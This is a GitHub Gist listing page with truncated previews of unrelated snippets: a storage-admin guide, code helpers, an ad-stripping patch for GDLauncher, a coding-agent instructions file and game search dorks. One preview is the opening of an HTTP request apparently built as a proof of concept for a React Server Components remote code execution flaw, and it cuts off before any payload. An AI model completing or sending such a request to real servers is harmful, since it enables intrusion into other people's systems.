Skip to content

Instantly share code, notes, and snippets.

@mrpeardotnet
mrpeardotnet / PVE-HP-ssacli-smart-storage-admin.md
Last active December 6, 2025 22:57
HP Smart Storage Admin CLI (ssacli) installation and usage on Proxmox PVE (6.x)

HP Smart Storage Admin CLI (ssacli) installation and usage on Proxmox PVE (6.x)

Why use HP Smart Storage Admin CLI?

You can use ssacli (smart storage administrator command line interface) tool to manage any of supported HP Smart Array Controllers in your Proxmox host without need to reboot your server to access Smart Storage Administrator in BIOS. That means no host downtime when managing your storage.

CLI is not as convenient as GUI interface provided by BIOS or desktop utilities, but still allows you to fully manage your controller, physical disks and logical drives on the fly with no Proxmox host downtime.

ssacli replaces older hpssacli, but shares the same syntax and adds support for newer servers and controllers.

Installation

@drautb
drautb / read_all_bytes.cpp
Created May 13, 2013 20:24
C++: Read all bytes from a file
/**
* Read all bytes from a file.
*
* Taken from http://codereview.stackexchange.com/questions/22901/reading-all-bytes-from-a-file
*
* Alternate form: static void ReadAllBytes(char const* filename, std::vector<char>& result)
*/
#include <vector>
#include <fstream>
@GameTec-live
GameTec-live / adsbegone-gdlauncher-carbon.patch
Last active December 6, 2025 22:53
A git patch to remove ads and startup animation from gdlauncher. it uses the ability to compile the app.asar file without loosing functionality (no api key needed) to generate a new one with the react components for showing ads stripped out
diff --git a/apps/desktop/packages/main/adSize.ts b/apps/desktop/packages/main/adSize.ts
index 8ab38784..bdf2777a 100644
--- a/apps/desktop/packages/main/adSize.ts
+++ b/apps/desktop/packages/main/adSize.ts
@@ -17,8 +17,8 @@ export default function getAdSize(display?: Display) {
adSize: {
useFallbackAd,
useVertical: true,
- width: 160,
- height: 600
#!/bin/zsh --no-rcs
# https://github.com/tailscale/tailscale/issues/18101
# https://gist.github.com/luckman212/356dfc72396b838a055ec10d315b042b
zmodload zsh/datetime
#get a random peer
ts_json=$(tailscale status --json)
all_peers=$(jq '.Peer | to_entries | map(select(.value.DNSName!="")) | map(.value.DNSName)' <<< "$ts_json")
@NuroDev
NuroDev / schedule-controller.ts
Created November 21, 2025 16:36
⏲️ Schedule Controller - A minimal `Hono` style controller for Cloudflare Workers scheduled handler
export interface ScheduleHandlerContext<E = Env> {
/**
* The scheduled event controller providing details about the cron trigger.
*/
controller: ScheduledController;
/**
* The environment bindings available to the worker.
*/
env: E;
/**
@maple3142
maple3142 / CVE-2025-55182.http
Last active December 6, 2025 20:57
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
@ctoth
ctoth / CLAUDE.md
Created November 30, 2025 20:46
My Current global CLAUDE.md

Working with Q — Coding Agent Protocol

What This Is

Applied rationality for a coding agent. Defensive epistemology: minimize false beliefs, catch errors early, avoid compounding mistakes.

This is correct for code, where:

  • Reality has hard edges (the compiler doesn't care about your intent)
  • Mistakes compound (a wrong assumption propagates through everything built on it)
  • The cost of being wrong exceeds the cost of being slow
@alirezarezvani
alirezarezvani / claude-code-skills-complete-guide.md
Last active December 6, 2025 22:40
Ultimate guide to extending Claude Code with skills, agents, commands, and utilities. Covers Tresor (ready-to-use), Skill Factory (custom builds), and Skills Library (26+ domain packages).

Complete Guide to Claude Code Augmentation: Skills, Agents, Commands & Utilities (2025)

Ultimate resource for extending Claude Code with custom skills, specialized agents, slash commands, and professional utilities

Last Updated: October 28, 2025 | Author: Alireza Rezvani | License: MIT


📋 Table of Contents

@LukeZGD
LukeZGD / ios-downgrade-dualboot.md
Last active December 6, 2025 22:39
Downgrade and dualboot status of almost all iOS devices

Downgrade and dualboot status of almost all iOS devices

UPDATED: 2025-11-23

@jhaddix
jhaddix / d4dorks.txt
Last active December 6, 2025 22:34
Diablo 4 Dorks
Search groups explained:
Group 1 "exploit, farm, glitch, cheese, AFK, multibox, dupe, grind" - This search will keep you up to date on "clever use of game mechanics" should you want to be on the bleeding edge.
Group 2 "build OR guide OR nerf" - This wil keep you up to date with classes and builds coming out and ones that are over powered.
Group 3: "unique OR set OR legendary OR gold OR murmuring OR veiled" - will keep you up to date on the currency and gear grind meta.
SEARCH LINKS: